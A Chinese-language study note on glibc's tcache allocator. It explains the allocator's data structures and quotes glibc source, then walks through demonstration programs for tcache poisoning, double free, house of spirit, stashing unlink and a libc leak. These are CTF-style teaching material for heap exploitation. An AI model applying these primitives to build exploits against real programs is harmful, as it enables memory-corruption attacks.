@TOC
tcache数据结构
tcache增加了两个全新的结构体,tcache_entry、tcache_perthread_struct。并且在libc内部定义了两个线程局部变量,该局部变量使得在每一个线程内部维护一个tcache结构,当在某线程内部释放内存时,无论内存块属于哪个分配区,都会挂到释放该内存块线程的tcache中。
tcache_entry结构体,是一个单链表结构指针。
tcache_pthread_struct结构体,是一个线程tcache的主体,由两个数组组成。其中,entries数据代表tcache的各个不同大小的链表,共TCACHE_MAX_BINS个(默认为64),counts数组代表每一个特定chunk大小的单链表内有多少个内存块。
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread char tcache_shutting_down = 0;
static __thread tcache_perthread_struct *tcache = NULL;
tcache_perthread_struct的entries放置64个bins的地址,数组count放每个bins中chunk的数量,放入bins的chunk会包含一个tcache_entry指针,其实就是fd,指向相同大小bin的下一个chunk的用户数据(记住不是header)
结构体最多的单链表个数是64个,每个单链表中最多有7个内存块,在64位机器下以16字节递增,最小24,可容纳的最大内存块大小是1032。在32位上由12到512
# define TCACHE_MAX_BINS 64
# define TCACHE_FILL_COUNT 7
代码中有一个tcache_init函数
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);//malloc生成的内存块
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
发现tcache是一个指针,而内存块是用_int_malloc生成的
在对线程的分配区初始化之后,第一个分配的内存就是tcache内存块。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/p4nda/Desktop/1
0x555555754000 0x555555755000 r--p 1000 0 /home/p4nda/Desktop/1
0x555555755000 0x555555756000 rw-p 1000 1000 /home/p4nda/Desktop/1
0x555555756000 0x555555777000 rw-p 21000 0 [heap]
0x7ffff79f5000 0x7ffff7bcb000 r-xp 1d6000 0 /lib/x86_64-linux-gnu/libc-2.26.so
0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1d6000 /lib/x86_64-linux-gnu/libc-2.26.so
0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1d6000 /lib/x86_64-linux-gnu/libc-2.26.so
0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1da000 /lib/x86_64-linux-gnu/libc-2.26.so
0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0
0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.26.so
0x7ffff7fe0000 0x7ffff7fe2000 rw-p 2000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.26.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.26.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> p *(struct tcache_perthread_struct *)0x555555756000
$1 = {
counts = "\000\000\000\000\000\000\000\000Q\002", '\000' <repeats 53 times>,
entries = {0x0 <repeats 64 times>}
}
pwndbg>
使用方法
堆分配
tcache_get、tcache_put,可以看出这两个函数与fastbin的取出和插入基本完全一样。
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
tcache_put是把chunk放进bin里,第一个参数是放的chunk的指针,第二个是size
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
tcache把相应的拿出来
内存释放
在fastbin操作之前进行,如果chunk大小符合要求,并且bin没有满,就放进去
内存申请
(1)当fastbin中成功返回了一个chunk,那么该bin中的其他相同大小的chunk会被放到tcache bin里面,注意是chunk在fastbin和tcachebin是反的
static void *
_int_malloc (mstate av, size_t bytes)
{
... 变量定义 ...
#if USE_TCACHE
size_t tcache_unsorted_count; /* count of unsorted chunks processed */
#endif
...
======= 1. 申请块符合fastbin块大小 ========
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
(2)smallbin和fastbin情况差不多,剩余的会填到tcache bin中,直到上限
======= 2. 申请块符合smallbin块大小 ========
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
...
#if USE_TCACHE
INTERNAL_SIZE_T tcache_nb = 0;
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
tcache_nb = nb;
int return_cached = 0;
tcache_unsorted_count = 0;
#endif
(3)当在unsorted bin链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到tcache中,继续处理。
tcache中取出chunk
在libc_malloc调用_int_malloc前,如果tcache bin中有符合的,则直接返回
bining code中,如果在tcache放入的chunk达到上限,则直接返回最后一个chunk,默认情况下没有限制
hack
tcache poisoning
覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。
glibc_2.26 [master●] bat tcache_poisoning.c
───────┬─────────────────────────────────────────────────────────────────────────────────
│ File: tcache_poisoning.c
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ #include <stdio.h>
2 │ #include <stdlib.h>
3 │ #include <stdint.h>
4 │
5 │ int main()
6 │ {
7 │ fprintf(stderr, "This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
8 │ "returning a pointer to an arbitrary location (in this case, the stack).\n"
9 │ "The attack is very similar to fastbin corruption attack.\n\n");
10 │
11 │ size_t stack_var;
12 │ fprintf(stderr, "The address we want malloc() to return is %p.\n", (char*)&stack_var);
13 │
14 │ fprintf(stderr, "Allocating 1 buffer.\n");
15 │ intptr_t *a = malloc(128);//程序malloc 128大小的chunk
16 │ fprintf(stderr, "malloc(128): %p\n", a);
17 │ fprintf(stderr, "Freeing the buffer...\n");
18 │ free(a); //free进tcache
19 │
20 │ fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
21 │ fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
22 │ "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
23 │ a[0] = (intptr_t)&stack_var;//修改next指针
24 │
25 │ fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
26 │ fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
27 │
28 │ intptr_t *b = malloc(128);
29 │ fprintf(stderr, "2st malloc(128): %p\n", b);
30 │ fprintf(stderr, "We got the control\n");
31 │
32 │ return 0;
33 │ }
tcache dup
利用的是 tcache_put() 的不严谨
因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。
1 │ #include <stdio.h>
2 │ #include <stdlib.h>
3 │
4 │ int main()
5 │ {
6 │ fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n");
7 │
8 │ fprintf(stderr, "Allocating buffer.\n");
9 │ int *a = malloc(8);
10 │
11 │ fprintf(stderr, "malloc(8): %p\n", a);
12 │ fprintf(stderr, "Freeing twice...\n");
13 │ free(a);
14 │ free(a);
15 │
16 │ fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
17 │ fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
18 │
19 │ return 0;
20 │ }
tcache perthread corruption
tcache_perthread_struct 是整个 tcache 的管理结构,如果能控制这个结构体,那么无论我们 malloc 的 size 是多少,地址都是可控的。
如果有下面这种堆排
tcache_ +------------+
\perthread |...... |
\_struct +------------+
|counts[i] |
+------------+
|...... | +----------+
+------------+ |header |
|entries[i] |--------->+----------+
+------------+ |NULL |
|...... | +----------+
| | | |
+------------+ +----------+
通过一些手段(如 tcache posioning),我们将其改为了
tcache_ +------------+<---------------------------+
\perthread |...... | |
\_struct +------------+ |
|counts[i] | |
+------------+ |
|...... | +----------+ |
+------------+ |header | |
|entries[i] |--------->+----------+ |
+------------+ |target |------+
|...... | +----------+
| | | |
+------------+ +----------+
这样,两次 malloc 后我们就返回了 tcache_perthread_struct 的地址,就可以控制整个 tcache 了。
因为 tcache_perthread_struct 也在堆上,因此这种方法一般只需要 partial overwrite 就可以达到目的。
tcache house of spirit
其实和常规的hos差不多,但是不用在free的fake_chunk后构造了,因为tcache_put在chunk size和pre_size上出错是没有检测的
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n");
fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
fprintf(stderr, "(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
fprintf(stderr, "Ok. Let's start with the example!.\n\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);
fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region
fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
//print the size of fake_chunk
fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);//查看size的地址
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];//tcache的entries指向content
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
其实关键代码就三个…
malloc(1);
fake_chunks[1] = 0x40; // this is the size
a = &fake_chunks[2];
free(a);
攻击之后的目的是,去控制栈上的内容,malloc 一块 chunk ,然后我们通过在栈上 fake 的 chunk,然后去 free 掉他,我们会发现
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x4052e0 (size : 0x20d20)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
(0x90) tcache_entry[7]: 0x7fffffffe510 --> 0x401340
Tcache 里就存放了一块 栈上的内容,我们之后只需 malloc,就可以控制这块内存。
unlink
在 smallbin 中包含有空闲块的时候,会同时将同大小的其他空闲块,放入 tcache 中,此时也会出现解链操作,但相比于 unlink 宏,缺少了链完整性校验。因此,原本 unlink 操作在该条件下也可以使用。(CTF-WIKI)
tcache unlink attack
calloc 分配堆块时,因为 calloc 分配堆块时不从 tcache bin 中选取,在获取到一个 smallbin 中的一个 chunk 后会如果 tcache 仍有足够空闲位置,会将剩余的 small bin 链入 tcache
在这个过程中只对第一个 bin 进行了完整性检查,后面的堆块的检查缺失。
当攻击者可以写一个 small bin 的 bk 指针时,其可以在任意地址上写一个 libc 地址 (类似 unsorted bin attack 的效果)。构造得当的情况下也可以分配 fake chunk 到任意地址。
#include <stdio.h>
#include <stdlib.h>
int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;
fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n");
fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
// stack_var emulate the fake_chunk we want to alloc to
fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n");
fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");
stack_var[3] = (unsigned long)(&stack_var[2]);
fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n");
//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}
//put 7 tcache
fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);
//convert into small bin
fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);//>0x90
//now 5 tcache bins
fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90);
malloc(0x90);
fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/
//trigger the attack
fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
//malloc and return our fake chunk on stack
target = malloc(0x90);
fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
return 0;
}
先malloc九个相同size的chunk,free后刘个,然后free一个后,tcache满了,剩下的给到unsorted bin,malloc一块比之前size要大的chunk,然后剩下两块chunk0和chunk2放进small bin,并且只剩5个tcache bin
修改chunk2的第二块内存,bk为target地址,然后我calloc(size ),因为small bin里面是FIFO,那chunk0出去,根据刚刚上述的机制,修改假chunk2进入tcache,看到bk,以为bk指向的那一块内存也是small bin,连带进去了
然后malloc(size),tcache是LIFO,所以把fake_chunk写进去了
fake chunk fd 指向下一个空闲块,在 unlink 过程中 bck->fd=bin 的赋值操作使得fake chunk写入了一个libc地址
(0xa0) tcache_entry[8](7): 0x7fffffffdbd0 --> 0x6033a0 --> 0x6036c0 --> 0x603620 --> 0x603580 --> 0x6034e0 --> 0x603440
gdb-peda$ x/4gx 0x7fffffffdbd0
0x7fffffffdbd0: 0x00000000006033a0 0x00007fffffffdbd0
0x7fffffffdbe0: 0x00007ffff7dcfd30 0x0000000000000000
泄露libc
给出WIKI上的
#include <stdlib.h>
#include <stdio.h>
int main(int argc , char* argv[])
{
long* t[7];
long *a=malloc(0x100);
long *b=malloc(0x10);
// make tcache bin full
for(int i=0;i<7;i++)
t[i]=malloc(0x100);
for(int i=0;i<7;i++)
free(t[i]);
free(a);
// a is put in an unsorted bin because the tcache bin of this size is full
printf("%p\n",a[0]);
}